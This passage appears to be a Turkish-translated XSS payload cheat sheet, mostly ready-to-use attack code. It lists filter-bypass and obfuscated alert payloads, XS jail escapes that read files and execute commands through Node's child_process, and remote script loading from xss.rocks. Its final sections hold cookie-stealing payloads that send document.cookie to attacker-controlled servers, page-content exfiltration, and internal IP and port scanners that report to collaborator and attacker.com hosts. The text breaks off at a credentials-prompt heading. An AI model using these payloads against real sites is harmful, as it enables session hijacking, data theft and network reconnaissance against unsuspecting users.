onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Herhangi bir fonksiyon (alert) çağrısı

javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM zaafiyetleri

There is JS code that is using unsafely data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:

DOM XSS

There you will find a detailed explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them.
Also, don't forget that at the end of the mentioned post you can find an explanation about DOM Clobbering attacks.

Self-XSS'i Yükseltme

If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:

Cookie Tossing

You can find a great abuse of this technique in this blog post.

Oturumunuzu admin'e gönderme

Maybe an user can share his profile with the admin and if the self XSS is inside the profile of the user and the admin access it, he will trigger the vulnerability.

Session Mirroring

If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.

You could make the administrator trigger your self XSS and steal his cookies/session.

Diğer Bypass'lar

Normalised Unicode

You could check is the reflected values are being unicode normalized in the server (or in the client side) and abuse this functionality to bypass protections. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

javascript
"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

RoR mass assignment nedeniyle tırnak işaretleri HTML'e eklenir ve tırnak sınırlaması atlanır ve ek alanlar (onfocus) etiketin içine eklenebilir.
Form örneği (from this report), eğer payload'u gönderirseniz:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

"Key","Value" çifti şöyle geri yansıtılacaktır:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Sonra, onfocus özniteliği eklenecek ve XSS oluşur.

Özel kombinasyonlar

html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

302 yanıtında header injection ile XSS

Eğer inject headers in a 302 Redirect response yapabildiğinizi görürseniz, tarayıcının rastgele JavaScript’i çalıştırmasını make the browser execute arbitrary JavaScript denemelisiniz. Bu not trivial çünkü modern tarayıcılar HTTP yanıt durum kodu 302 ise HTTP yanıt gövdesini yorumlamaz; bu yüzden sadece bir cross-site scripting payload’u genelde işe yaramaz.

In this report and this one bu kaynaklarda Location header içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin gövde içindeki XSS payload’unu tarayıcının inceleyip çalıştırmasına izin verip vermediğini okuyabilirsiniz.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Yalnız Harfler, Rakamlar ve Noktalar

Eğer javascript’in execute edeceği callback’i bu karakterlerle sınırlı olarak belirleyebiliyorsanız. Bu davranışı nasıl suistimal edeceğinizi öğrenmek için Read this section of this post bölümünü okuyun.

Valid <script> Content-Types to XSS

(From here) Eğer application/octet-stream gibi bir content-type ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı fırlatacaktır:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Chrome’un bir loaded script’i çalıştırmasına izin verecek tek Content-Typelar, https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc içindeki const kSupportedJavascriptTypes içinde yer alanlardır.

c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Script Types to XSS

(From here) Peki, bir script yüklemek için hangi türler belirtilebilir?

html
<script type="???"></script>
  • module (varsayılan, açıklamaya gerek yok)
  • webbundle: Web Bundles, bir dizi veriyi (HTML, CSS, JS…) .wbn dosyası halinde paketleyebileceğiniz bir özelliktir.
html
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: İçe aktarma sözdizimini geliştirmeye olanak tanır
html
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Bu davranış, bir kütüphaneyi eval'e yeniden eşleyerek suistimal etmek ve böylece XSS tetiklemek için this writeup içinde kullanıldı.

  • speculationrules: Bu özellik esas olarak pre-rendering'in yol açtığı bazı sorunları çözmek için tasarlanmıştır. İşleyişi şöyle:
html
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types ile XSS

(Kaynak: here) Aşağıdaki Content-Types tüm tarayıcılarda XSS çalıştırabilir:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? not in the list but I think I saw this in a CTF)
  • application/rss+xml (off)
  • application/atom+xml (off)

Diğer tarayıcılarda diğer Content-Types rastgele JS yürütmek için kullanılabilir, bak: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Eğer sayfa text/xml content-type ile döndürülüyorsa bir namespace belirtilip rastgele JS çalıştırmak mümkündür:

xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Özel Değiştirme Kalıpları

Bir şey şu şekilde kullanıldığında "some {{template}} data".replace("{{template}}", <user_input>), saldırgan bazı korumaları atlatmak için special string replacements kullanabilir: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Örneğin this writeup içinde, bu bir script içinde scape a JSON string yapmak ve execute arbitrary code için kullanıldı.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Sadece sınırlı sayıda karakter (chars) kullanabiliyorsanız, XSJail problems için aşağıdaki diğer geçerli çözümlere göz atın:

javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Eğer güvenilmeyen kodu çalıştırmadan önce her şey undefined ise (ör. this writeup), keyfi güvenilmeyen kodun yürütülmesini kötüye kullanmak için faydalı nesneleri "hiçten" üretmek mümkün olabilir:

  • import() kullanarak
javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • require'e dolaylı erişim

According to this modüller Node.js tarafından aşağıdaki gibi bir fonksiyon içine sarılır:

javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Bu nedenle, eğer o modülden başka bir fonksiyonu çağırabiliyorsak, o fonksiyondan arguments.callee.caller.arguments[1] kullanarak require'e erişmek mümkündür:

javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

Önceki örneğe benzer şekilde, modülün wrapper'ına erişmek ve require fonksiyonunu almak için use error handlers kullanmak mümkündür:

javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Gelişmiş Bypass

javascript
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
javascript
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
javascript
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
javascript
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
javascript
// It's also possible to execute JS code only with the chars: []`+!${}

XSS yaygın payloads

Birden fazla payload bir arada

Steal Info JS

Iframe Trap

Kullanıcının iframe'den çıkmadan sayfada gezinmesini sağlayın ve eylemlerini çalın (formlarla gönderilen bilgiler dahil):

Iframe Traps

Cookies Elde Etme

javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

tip

Eğer cookie üzerinde HTTPOnly flag ayarlıysa, JavaScript ile cookies'e erişemezsiniz. Ancak şanslıysanız, bu korumayı atlatmanın bazı yolları burada.

Sayfa İçeriğini Çal

javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Dahili IP'leri Bul

html
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kısa süreler yanıt veren bir portu gösterir Daha uzun süreler yanıt olmadığını gösterir.

Chrome'da yasaklanan portların listesini here ve Firefox'ta here inceleyin.

Kimlik bilgileri isteme kutusu

html
